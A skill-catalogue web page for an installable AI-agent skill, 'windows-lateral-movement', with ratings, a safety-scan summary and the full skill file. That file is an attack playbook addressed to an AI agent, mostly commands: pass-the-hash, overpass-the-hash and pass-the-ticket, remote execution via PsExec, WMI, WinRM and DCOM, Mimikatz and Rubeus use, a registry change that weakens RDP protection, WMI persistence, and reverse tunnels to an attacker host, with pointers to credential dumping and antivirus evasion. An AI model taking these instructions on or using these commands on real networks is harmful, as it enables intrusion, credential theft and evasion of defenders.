SkillAgentSearch skills...

windows-lateral-movement

Windows lateral movement playbook

Install / Use

npx skills add yaklang/hack-skills --skill windows-lateral-movement

Installs into whichever agent you are using.

About this skill
๐Ÿ“„

SKILL.md

Installable skill definition

Quality Score

86/100

Supported Platforms

Universal

Tags

Our assessment of windows-lateral-movement

windows-lateral-movement scores 86/100 on our quality scale, 2385th of 4,698 Development & Engineering skills we index.

Its SKILL.md is 9.6 KB long, well organised into 63 sections with 23 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so windows-lateral-movement is actively maintained.
  • Our last check on 2026-10-12 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit โ€” read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file instructs the agent to perform Windows lateral movement attacks using PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, and pass-the-ticket to execute commands and move between hosts.

AI review: risky

  • The file instructs the agent to perform Windows lateral movement attacks using PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, and pass-the-ticket to execute commands and move between hosts.
  • It directs credential theft and dumping via LSASS, SAM/SYSTEM/SECURITY, DPAPI, cached domain credentials, and NTDS.dit extraction, referencing Mimikatz/Rubeus.
  • It explicitly tells the agent to evade defenses by loading a linked windows-av-evasion skill and to enable registry changes (Restricted Admin) to facilitate pass-the-hash RDP access.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk โ€” read a skill before letting an agent act on it.

windows-lateral-movement compared with similar skills

All 4 of these similar skills score higher than windows-lateral-movement; compare them before choosing.

SkillScoreStarsUpdatedFormat
windows-lateral-movement (this skill)by yaklang862.3k2mo agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md
claude-howtoby luongnv8910047.3k2d agoCLAUDE.md
lobehubby lobehub10085.6ktodayMCP Server

Frequently asked questions

How do I install windows-lateral-movement?
Run npx skills add yaklang/hack-skills --skill windows-lateral-movement. The install tabs above show the steps for each supported agent.
Which AI agents does windows-lateral-movement work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is windows-lateral-movement safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The file instructs the agent to perform Windows lateral movement attacks using PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, and pass-the-ticket to execute commands and move between hosts. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is windows-lateral-movement still maintained?
The repository was last updated about 2 months ago, so windows-lateral-movement is actively maintained.

name: windows-lateral-movement description: >- Windows lateral movement playbook. Use when pivoting between Windows hosts via PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, or pass-the-ticket techniques.

SKILL: Windows Lateral Movement โ€” Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Windows lateral movement techniques. Covers PsExec, WMI, WinRM, DCOM, SMB, RDP, SSH, pass-the-hash, overpass-the-hash, pass-the-ticket, and pivoting. Base models miss execution method fingerprints, OPSEC trade-offs, and credential type requirements per method.

0. RELATED ROUTING

Before going deep, consider loading:

Advanced Reference

Also load CREDENTIAL_DUMPING.md when you need:

  • LSASS dump techniques (MiniDump, comsvcs.dll, nanodump)
  • SAM/SYSTEM/SECURITY extraction
  • DPAPI, credential manager, cached domain credentials
  • NTDS.dit extraction methods

1. REMOTE EXECUTION METHODS COMPARISON

| Method | Port | Cred Type | Creates Service? | File on Disk? | OPSEC | Admin Required? | |---|---|---|---|---|---|---| | PsExec | 445 (SMB) | Password/Hash | Yes (PSEXESVC) | Yes (.exe) | Low | Yes | | Impacket smbexec | 445 | Password/Hash | Yes (temp service) | No | Medium | Yes | | Impacket atexec | 445 | Password/Hash | No (scheduled task) | No | Medium | Yes | | WMI | 135+dynamic | Password/Hash | No | No | High | Yes | | WinRM | 5985/5986 | Password/Hash/Ticket | No | No | High | Yes (Remote Mgmt) | | DCOM | 135+dynamic | Password/Hash | No | No | High | Yes | | RDP | 3389 | Password/Hash (RestrictedAdmin) | No | No | Low (GUI session) | RDP access | | SSH | 22 | Password/Key | No | No | High | SSH enabled | | SC | 445 | Password/Hash | Yes (custom service) | Yes | Low | Yes |


2. PSEXEC VARIANTS

Impacket PsExec

# With password
psexec.py DOMAIN/administrator:password@TARGET_IP

# With NTLM hash (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com

Impacket smbexec (Stealthier โ€” No Binary Upload)

smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

Impacket atexec (Scheduled Task)

atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"

Sysinternals PsExec

PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe    & REM Run as SYSTEM (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"

3. WMI LATERAL MOVEMENT

# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com
# PowerShell WMI process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred

# WMI event subscription persistence
$filterArgs = @{
    EventNamespace = 'root\cimv2'; Name = 'Updater';
    QueryLanguage = 'WQL';
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

4. WINRM LATERAL MOVEMENT

# evil-winrm (from Linux โ€” with password)
evil-winrm -i TARGET_IP -u administrator -p password

# evil-winrm (with hash)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH

# evil-winrm (with Kerberos)
evil-winrm -i target.domain.com -r DOMAIN.COM
# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

# Execute command remotely
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }

# Multiple targets simultaneously
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }

5. DCOM LATERAL MOVEMENT

Stealthy โ€” uses legitimate COM objects, no service creation.

MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")

ShellWindows

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)

ShellBrowserWindow

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

Impacket dcomexec

dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20

6. PASS-THE-HASH (PTH)

Use NTLM hash directly without knowing the plaintext password.

# CrackMapExec โ€” spray/check admin access
crackmapexec smb TARGETS -u administrator -H NTLM_HASH

# Impacket tools (all support -hashes)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET

# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH

# xfreerdp (Restricted Admin mode must be enabled)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
# Mimikatz PTH (spawns new process with injected creds)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Enable Restricted Admin for RDP PTH

# On target (requires admin): enable restricted admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

7. OVERPASS-THE-HASH (PASS-THE-KEY)

Convert NTLM hash โ†’ Kerberos TGT โ†’ pure Kerberos authentication.

# Request TGT with hash
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Or with AES256 key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP

# Use Kerberos for all subsequent tools
psexec.py -k -no-pass DOMAIN/user@target.domain.com
wmiexec.py -k -no-pass DOMAIN/user@target.domain.com
# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# New PowerShell session โ†’ klist shows Kerberos TGT

Advantage: Pure Kerberos auth avoids NTLM logging and detection.


8. PASS-THE-TICKET

# Use existing .ccache ticket
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/admin@target.domain.com
# Mimikatz โ€” inject .kirbi ticket
kerberos::ptt ticket.kirbi
# Verify
klist

# Rubeus
Rubeus.exe ptt /ticket:base64_blob

9. PIVOTING THROUGH COMPROMISED HOSTS

SSH Tunnel / Port Forward

# Dynamic SOCKS proxy through compromised host
ssh -D 1080 user@COMPROMISED_HOST
# Use with proxychains

# Local port forward (access internal service)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST

Chisel (No SSH Needed)

# On attacker (server)
chisel server --reverse -p 8080

# On compromised host (client)
chisel client ATTACKER:8080 R:socks
# Creates SOCKS5 proxy on attacker's port 1080

Ligolo-ng (Modern, Fast)

# On attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On compromised host
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert

# In ligolo console
session          # Select agent
start            # Start tunnel
# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo

10. LATERAL MOVEMENT DECISION TREE

Have credentials / hash โ€” need to move laterally
โ”‚
โ”œโ”€โ”€ What credentials do you have?
โ”‚   โ”œโ”€โ”€ Plaintext password โ†’ any method
โ”‚   โ”œโ”€โ”€ NTLM hash โ†’ PTH methods (ยง6)
โ”‚   โ”‚   โ”œโ”€โ”€ Need stealthier? โ†’ Overpass-the-Hash first (ยง7)
โ”‚   โ”‚   โ””โ”€โ”€ Direct use โ†’ psexec/wmiexec/evil-winrm with -H
โ”‚   โ”œโ”€โ”€ Kerberos ticket โ†’ Pass-the-Ticket (ยง8)
โ”‚   โ””โ”€โ”€ AES key โ†’ Overpass-the-Hash with -aesKey (ยง7)
โ”‚
โ”œโ”€โ”€ OPSEC priority?
โ”‚   โ”œโ”€โ”€ High stealth needed
โ”‚   โ”‚   โ”œโ”€โ”€ WMI (no file on disk, no service) โ†’ wmiexec (ยง3)
โ”‚   โ”‚   โ”œโ”€โ”€ DCOM (uses legitimate COM) โ†’ dcomexec (ยง5)
โ”‚   โ”‚   โ””โ”€โ”€ WinRM (PowerShell remoting) โ†’ evil-winrm (ยง4)
โ”‚   โ”œโ”€โ”€ Moderate stealth
โ”‚   โ”‚   โ”œโ”€โ”€ smbexec (no binary upload) (ยง2)
โ”‚   โ”‚   โ””โ”€โ”€ atexec (scheduled task, auto-cleanup) (ยง2)
โ”‚   โ””โ”€โ”€ Low stealth acceptable
โ”‚       โ”œโ”€โ”€ PsExec (reliable, creates service) (ยง2)
โ”‚       โ””โ”€โ”€ RDP (interactive GUI) (ยง6)
โ”‚
โ”œโ”€โ”€ Need to pivot to internal network?
โ”‚   โ”œโ”€โ”€ SSH available โ†’ SSH tunnel / SOCKS (ยง9)
โ”‚   โ”œโ”€โ”€ No SSH โ†’ Chisel or Ligolo-ng (ยง9)
โ”‚   โ””โ”€โ”€ Multiple hops โ†’ chain SOCKS proxies
โ”‚
โ”œโ”€โ”€ Target hardening?
โ”‚   โ”œโ”€โ”€ SMB signing required โ†’ WMI, WinRM, or DCOM
โ”‚   โ”œโ”€โ”€ WinRM disabled โ†’ WMI or DCOM
โ”‚   โ”œโ”€โ”€ Firewall blocks 135/445 โ†’ RDP or SSH
โ”‚   โ””โ”€โ”€ Restricted Admin disabled โ†’ no RDP PTH โ†’ use other methods
โ”‚
โ””โ”€โ”€ Need to dump creds on new host?
    โ””โ”€โ”€ Load CREDENTIAL_DUMPING.md

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryDevelopment
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit โ€” see the Safety scan above for what the skill file itself contains.

No cautions
windows-lateral-movement โ€” Universal Skill: Install & Safety Check | SkillAgent